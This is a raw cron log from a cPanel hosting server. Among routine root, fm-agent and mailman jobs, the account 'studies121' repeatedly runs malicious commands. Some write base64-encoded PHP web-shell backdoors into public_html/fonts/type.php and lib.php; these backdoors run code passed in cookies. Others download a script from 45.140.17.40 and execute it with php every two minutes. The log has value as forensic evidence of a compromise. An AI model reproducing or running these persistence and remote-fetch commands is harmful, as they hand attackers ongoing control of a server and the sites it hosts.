Sep  3 03:20:01 ip-184-168-122-23 CROND[23332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:21:01 ip-184-168-122-23 CROND[23452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:21:01 ip-184-168-122-23 CROND[23454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:21:01 ip-184-168-122-23 CROND[23453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:21:01 ip-184-168-122-23 CROND[23455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:22:01 ip-184-168-122-23 CROND[23553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:22:01 ip-184-168-122-23 CROND[23556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:22:01 ip-184-168-122-23 CROND[23555]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:22:01 ip-184-168-122-23 CROND[23554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:22:01 ip-184-168-122-23 CROND[23557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:23:01 ip-184-168-122-23 CROND[23654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:23:01 ip-184-168-122-23 CROND[23656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:23:01 ip-184-168-122-23 CROND[23658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:23:01 ip-184-168-122-23 CROND[23657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:24:01 ip-184-168-122-23 CROND[23824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:24:01 ip-184-168-122-23 CROND[23825]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:24:01 ip-184-168-122-23 CROND[23828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:24:01 ip-184-168-122-23 CROND[23830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:24:01 ip-184-168-122-23 CROND[23829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:25:01 ip-184-168-122-23 CROND[23912]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:25:01 ip-184-168-122-23 CROND[23916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:25:01 ip-184-168-122-23 CROND[23915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:25:01 ip-184-168-122-23 CROND[23914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:25:01 ip-184-168-122-23 CROND[23917]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:25:01 ip-184-168-122-23 CROND[23918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:26:01 ip-184-168-122-23 CROND[24007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:26:01 ip-184-168-122-23 CROND[24011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:26:01 ip-184-168-122-23 CROND[24009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:26:01 ip-184-168-122-23 CROND[24010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:26:01 ip-184-168-122-23 CROND[24012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:27:01 ip-184-168-122-23 CROND[24095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:27:01 ip-184-168-122-23 CROND[24096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:27:01 ip-184-168-122-23 CROND[24100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:27:01 ip-184-168-122-23 CROND[24102]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  3 03:27:01 ip-184-168-122-23 CROND[24099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:28:01 ip-184-168-122-23 CROND[24204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:28:01 ip-184-168-122-23 CROND[24206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:28:01 ip-184-168-122-23 CROND[24209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:28:01 ip-184-168-122-23 CROND[24208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:28:01 ip-184-168-122-23 CROND[24210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:29:01 ip-184-168-122-23 CROND[24308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:29:01 ip-184-168-122-23 CROND[24309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:29:01 ip-184-168-122-23 CROND[24310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:29:01 ip-184-168-122-23 CROND[24311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:30:01 ip-184-168-122-23 CROND[24414]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:30:01 ip-184-168-122-23 CROND[24418]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 03:30:01 ip-184-168-122-23 CROND[24415]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:30:01 ip-184-168-122-23 CROND[24416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:30:01 ip-184-168-122-23 CROND[24417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:30:01 ip-184-168-122-23 CROND[24420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:30:01 ip-184-168-122-23 CROND[24421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:30:01 ip-184-168-122-23 CROND[24424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:31:01 ip-184-168-122-23 CROND[24560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:31:01 ip-184-168-122-23 CROND[24561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:31:01 ip-184-168-122-23 CROND[24563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:31:01 ip-184-168-122-23 CROND[24566]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 03:31:01 ip-184-168-122-23 CROND[24565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:32:01 ip-184-168-122-23 CROND[24727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:32:01 ip-184-168-122-23 CROND[24729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:32:01 ip-184-168-122-23 CROND[24730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:32:01 ip-184-168-122-23 CROND[24732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:32:01 ip-184-168-122-23 CROND[24731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:33:01 ip-184-168-122-23 CROND[24853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
